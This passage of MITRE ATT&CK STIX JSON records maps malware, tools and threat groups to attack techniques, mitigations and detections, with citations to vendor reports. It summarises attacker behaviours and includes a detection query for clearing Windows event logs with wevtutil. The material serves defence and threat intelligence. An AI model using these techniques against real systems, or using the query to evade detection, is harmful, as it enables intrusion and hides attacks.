and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:32:45.359Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has encrypted its payload with RC4.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--feee93c7-bbd4-49ed-b861-0fc066d0ce7d","type":"relationship","created":"2021-03-17T22:00:37.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:25:37.233Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fef0f7bc-5af4-4a5c-bd73-5892badf8707","type":"relationship","created":"2020-10-19T19:49:24.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2020-10-22T17:50:47.450Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fef5950e-9bc9-4a5e-a14b-781b1e80dc47","created":"2022-03-30T14:26:51.849Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.","modified":"2022-04-28T14:57:48.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9085a576-636a-455b-91d2-c2921bbe6d1d","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fef97c89-06fe-4def-b58b-5dafd9ff925d","created":"2023-02-09T18:48:00.574Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T18:48:00.574Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has gained execution through users opening malicious documents.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fef9cd6e-4235-4ee5-8b9a-8ddea4fd0444","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor windows registry keys that may be deleted or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fefae8e3-2549-4743-9713-7dfa40c52ae4","type":"relationship","created":"2021-03-02T17:22:40.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T17:22:40.709Z","description":"[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced Port Scanner tool.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff019484-a6dc-4250-a9eb-9094f5c9d30f","type":"relationship","created":"2020-06-25T18:41:35.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:41:35.164Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to generate the current date and time.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff0d8483-0568-48c5-b380-22ed06ac01ed","created":"2022-07-14T17:54:08.647Z","x_mitre_version":"0.1","external_references":[{"source_name":"BlackBerry Amadey 2020","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Amadey](https://attack.mitre.org/software/S1025) can identify the IP address of a victim machine.(Citation: BlackBerry Amadey 2020)","modified":"2022-07-14T17:54:08.647Z","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff0d8860-9790-4a15-93c7-17f01d63b2ad","type":"relationship","created":"2019-12-19T19:43:34.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-19T19:43:34.933Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff10b414-cc17-4335-9030-1262e5401b39","type":"relationship","created":"2021-01-19T22:37:42.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-22T16:30:42.467Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) decrypted its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff14431c-bf82-44be-b12a-a65e88d5347a","type":"relationship","created":"2020-05-26T16:17:59.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.473Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has changed the time stamp of certain files.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff16b0d1-e77c-4985-85cb-842da787daf3","created":"2022-04-08T18:29:35.467Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has conducted watering-hole attacks through media and magazine websites.(Citation: ClearSky Kittens Back 3 August 2020)","modified":"2022-04-15T11:57:08.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff16c592-9eae-4c27-97a5-444e148883cd","created":"2023-10-06T12:58:36.828Z","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T12:58:36.828Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has enumerated all users and their roles from a victim's main treasury system.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff1ca662-7030-4d24-bf0f-28e8dde7fc65","created":"2024-06-27T19:08:25.598Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T19:08:25.598Z","description":"(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff1d0eba-a675-4ebb-a9a3-b28b8d3a15fc","created":"2024-07-17T19:58:39.604Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-17T19:58:39.604Z","description":"[Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) utilized emails with hyperlinks leading to malicious ZIP archive files containing scripts to download and install [Pikabot](https://attack.mitre.org/software/S1145).(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff207318-2a24-4f29-bc1a-552df8e671f7","created":"2023-08-11T21:43:04.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:28:11.961Z","description":"Monitor for newly executed processes that may clear Windows Event Logs to hide the activity of an intrusion. In an attempt to clear traces after compromising a machine, threat actors often try to clear Windows Event logs. This is often done using “wevtutil”, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network.\n\nNote: This search query looks for wevtutil, Clear-EventLog, Limit-EventLog, Remove-Item or Remove-EventLog inside a command that may cause the system to remove Windows Event logs.\n\nAnalytic 1 - Clearing Windows Logs with Wevtutil\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=*wevtutil* CommandLine=*cl* (CommandLine=*System* OR CommandLine=*Security* OR CommandLine=*Setup* OR CommandLine=*Application*) OR Clear-EventLog OR Limit-EventLog OR (Remove-Item AND .evtx) OR Remove-EventLog) ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff2155fa-714d-4d99-a610-91ceb5f049ef","type":"relationship","created":"2020-03-11T14:28:40.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:28:40.164Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff274d3e-584d-4c50-8262-185630017502","created":"2023-02-15T20:34:29.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T20:11:41.663Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use HTTPS and HTTPS for C2 communication.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff27aa33-f4da-424e-be51-ade535b359b3","created":"2024-09-16T08:59:14.944Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:59:14.944Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can identify and enumerate victim system network shares.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff2b5737-6a87-4ffb-b61a-89d8f21615b1","type":"relationship","created":"2021-09-28T16:04:05.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-13T18:28:38.986Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can delete folders and files including overwriting its executable with legitimate programs.(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff2b7bc3-d6ca-488a-bdd5-1f2f27dfc8bd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-28T21:38:48.111Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) creates a scheduled task to maintain persistence on the victim’s machine.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff2f9b25-f36a-4031-8013-1e746cc40948","created":"2022-01-11T14:58:01.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.936Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can list signed PnP drivers for smartcard readers.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff397dfb-a231-423f-8be0-be01eb2c9d4d","type":"relationship","created":"2020-08-10T14:56:56.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T15:20:43.105Z","description":"Periodically review user accounts and remove those that are inactive or unnecessary. Limit the ability for user accounts to create additional accounts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff3ade9d-2665-4794-bb1e-cb436d790f3f","type":"relationship","created":"2021-05-26T15:05:36.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T15:39:51.029Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute getinfo to enumerate the computer name and OS version of a compromised system.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff3b4b17-7d3f-43a9-8e9a-ce56909da725","type":"relationship","created":"2020-05-18T19:37:52.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.273Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has used get_tasklist to discover processes on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.012Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses RC4 and Base64 to obfuscate strings.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff438715-ffa8-4fa2-a69e-7126dd60bfb3","type":"relationship","created":"2020-06-11T19:52:07.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-11T19:52:07.350Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used shell scripts which download mining executables and saves them with the filename \"java\".(Citation: Talos Rocke August 